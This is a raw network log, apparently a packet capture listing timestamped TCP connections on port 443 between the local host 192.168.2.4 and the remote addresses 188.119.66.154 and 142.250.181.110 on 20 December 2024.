Dec 20, 2024 01:17:04.981806040 CET	443	49861	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:04.981898069 CET	49861	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:04.982105017 CET	49861	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:04.982115984 CET	443	49861	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:04.982878923 CET	49862	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:04.982908964 CET	443	49862	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:04.982988119 CET	49862	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:04.984337091 CET	49862	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:04.984349966 CET	443	49862	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:04.985004902 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:04.985014915 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:04.985104084 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:04.985421896 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:04.985452890 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:04.985579014 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:04.985586882 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:04.985620022 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:04.985743046 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:04.985753059 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:04.986488104 CET	49865	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:04.986573935 CET	443	49865	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:04.986650944 CET	49865	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:04.987047911 CET	49865	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:04.987080097 CET	443	49865	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.014292002 CET	49853	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:05.099950075 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.100349903 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:05.100397110 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.100882053 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.101448059 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:05.101541042 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.101619959 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:05.143376112 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.153548956 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:05.167016029 CET	443	49853	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.167027950 CET	443	49853	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.167071104 CET	443	49853	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.167110920 CET	49853	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:05.167121887 CET	443	49853	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.167174101 CET	443	49853	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.167200089 CET	443	49853	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.167229891 CET	49853	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:05.167229891 CET	49853	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:05.167229891 CET	49853	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:05.167304993 CET	443	49853	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.167428970 CET	49853	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:05.169188976 CET	49853	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:05.169224977 CET	443	49853	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.169812918 CET	49866	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:05.169842005 CET	443	49866	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.170198917 CET	49866	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:05.170913935 CET	49866	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:05.170928001 CET	443	49866	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.468672991 CET	443	49860	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:05.468888998 CET	49860	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:05.468949080 CET	443	49860	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:05.469276905 CET	443	49860	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:05.469346046 CET	49860	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:05.469870090 CET	443	49860	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:05.469926119 CET	49860	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:05.470026970 CET	49860	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:05.470093012 CET	443	49860	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:05.470135927 CET	49860	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:05.511351109 CET	443	49860	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:05.511759043 CET	49860	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:05.511776924 CET	443	49860	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:05.558984995 CET	49860	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:05.656001091 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.671102047 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.671112061 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.671144962 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.671155930 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.671196938 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:05.671248913 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.671294928 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:05.671334028 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:05.867244959 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.867253065 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.867275953 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.867302895 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.867343903 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:05.867413998 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.867443085 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:05.867448092 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:05.867477894 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:05.867507935 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:05.867698908 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:05.867727995 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.275496006 CET	443	49860	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:06.275523901 CET	443	49860	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:06.275588036 CET	49860	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:06.275651932 CET	443	49860	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:06.277687073 CET	49868	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:06.277729988 CET	443	49868	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:06.277795076 CET	49868	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:06.277973890 CET	49860	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:06.278064966 CET	443	49860	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:06.278124094 CET	49860	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:06.278351068 CET	49868	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:06.278371096 CET	443	49868	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:06.437030077 CET	443	49861	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.437333107 CET	49861	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.437351942 CET	443	49861	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.438083887 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.438384056 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.438394070 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.438736916 CET	443	49861	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.439222097 CET	49861	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.439372063 CET	443	49861	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.439455032 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.439646959 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.439647913 CET	49861	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.440077066 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.440200090 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.440251112 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.441795111 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.441994905 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.442020893 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.445044994 CET	443	49862	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.445295095 CET	49862	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.445312023 CET	443	49862	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.445386887 CET	443	49865	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.445584059 CET	49865	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.445645094 CET	443	49865	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.445692062 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.445924044 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.446139097 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.446139097 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.446151018 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.446307898 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.446439028 CET	443	49862	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.446830988 CET	49862	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.446830988 CET	49862	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.446851969 CET	443	49862	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.447010040 CET	443	49862	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.449193001 CET	443	49865	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.449465990 CET	49865	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.449781895 CET	49865	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.449781895 CET	49865	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.449829102 CET	443	49865	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.449896097 CET	443	49865	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.483330011 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.487325907 CET	443	49861	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.493345976 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.493345976 CET	49862	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.493347883 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.493352890 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.493355989 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.493390083 CET	49865	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.493408918 CET	443	49865	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.540860891 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.540863037 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.540992022 CET	49865	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.628628969 CET	443	49866	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.629009008 CET	49866	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.629021883 CET	443	49866	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.630449057 CET	443	49866	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.630543947 CET	49866	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.631000042 CET	49866	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.631000042 CET	49866	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.631011963 CET	443	49866	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.631078005 CET	443	49866	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.681281090 CET	49866	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.681292057 CET	443	49866	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:06.732664108 CET	49866	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:06.992667913 CET	443	49861	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.000763893 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.001823902 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.006273031 CET	443	49865	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.006412029 CET	443	49865	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.006453991 CET	443	49865	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.007822990 CET	443	49862	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.007873058 CET	49865	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.007936001 CET	443	49865	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.007956982 CET	443	49862	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.008104086 CET	443	49862	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.008142948 CET	49862	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.009385109 CET	49862	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.012052059 CET	443	49865	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.012603998 CET	49865	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.015575886 CET	49862	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.015577078 CET	49869	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.015594959 CET	443	49862	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.015634060 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.016865969 CET	49869	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.017556906 CET	49869	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.017571926 CET	443	49869	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.019413948 CET	49865	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.019413948 CET	49865	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.019464016 CET	443	49865	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.021051884 CET	49870	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.021135092 CET	443	49870	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.021174908 CET	49865	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.021401882 CET	49870	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.021754980 CET	49870	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.021789074 CET	443	49870	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.041115999 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.041115999 CET	49861	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.044611931 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.112531900 CET	443	49861	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.112560034 CET	443	49861	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.112610102 CET	443	49861	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.112668037 CET	443	49861	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.112773895 CET	49861	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.112773895 CET	49861	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.112773895 CET	49861	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.112803936 CET	443	49861	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.112818003 CET	443	49861	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.116543055 CET	49861	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.120264053 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.120274067 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.120316029 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.120322943 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.120359898 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.120402098 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.120420933 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.120450974 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.120613098 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.121820927 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.121855974 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.121875048 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.121920109 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.121938944 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.121953964 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.121972084 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.122026920 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.122026920 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.185918093 CET	443	49866	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.186007977 CET	443	49866	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.192945957 CET	49866	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.207022905 CET	443	49861	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.207216024 CET	443	49861	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.207361937 CET	49861	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.212754965 CET	49861	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.236634016 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.236665964 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.236710072 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.236748934 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.236753941 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.236783028 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.236788988 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.238027096 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.238040924 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.238095045 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.238105059 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.238106012 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.238137960 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.238147974 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.238164902 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.240612984 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.281187057 CET	49861	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.281205893 CET	443	49861	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.285005093 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.285033941 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.285083055 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.285115004 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.285125017 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.285157919 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.287995100 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.307965040 CET	49866	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.307979107 CET	443	49866	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.317135096 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.317184925 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.317203999 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.317214012 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.317250967 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.317264080 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.405033112 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.405082941 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.405106068 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.405123949 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.405168056 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.405188084 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.407350063 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.407417059 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.407424927 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.407459021 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.407459021 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.407496929 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.433950901 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.434001923 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.434026957 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.434031963 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.434066057 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.434081078 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.437310934 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.437359095 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.437382936 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.437391996 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.437417030 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.437436104 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.455261946 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.455307007 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.455327988 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.455352068 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.455370903 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.455394030 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.456726074 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.456770897 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.456787109 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.456795931 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.456821918 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.456836939 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.496834040 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.496901035 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.496912003 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.496941090 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.496970892 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.496995926 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.508943081 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.508999109 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.509008884 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.509022951 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.509052038 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.509071112 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.588754892 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.588798046 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.588831902 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.588840961 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.588871956 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.588886023 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.591253996 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.591304064 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.591332912 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.591353893 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.591363907 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.591396093 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.603949070 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.604001999 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.604022980 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.604028940 CET	443	49864	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.604053974 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.604078054 CET	49864	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.604981899 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.605029106 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.605047941 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.605057955 CET	443	49863	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:07.605081081 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.605098009 CET	49863	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:07.616903067 CET	443	49864	188.119.66.154	192.168.2.4
